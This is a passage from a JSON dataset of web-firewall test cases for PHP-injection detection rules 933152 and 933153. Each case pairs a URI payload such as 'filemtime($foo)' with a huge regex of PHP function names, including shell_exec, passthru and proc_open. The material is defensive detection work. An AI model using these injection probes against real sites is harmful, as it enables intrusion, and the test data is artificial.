:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "snippets of Eng words (like prev) should not be matched, requiring regex match with word boundaries (e.g. 933160)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=exploration" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "snippets of Eng words (like exp) should not be matched, requiring regex match with word boundaries (e.g. 933160)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "tidy_parse_string%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "pmf + chain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=filemtime%28%24foo%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocume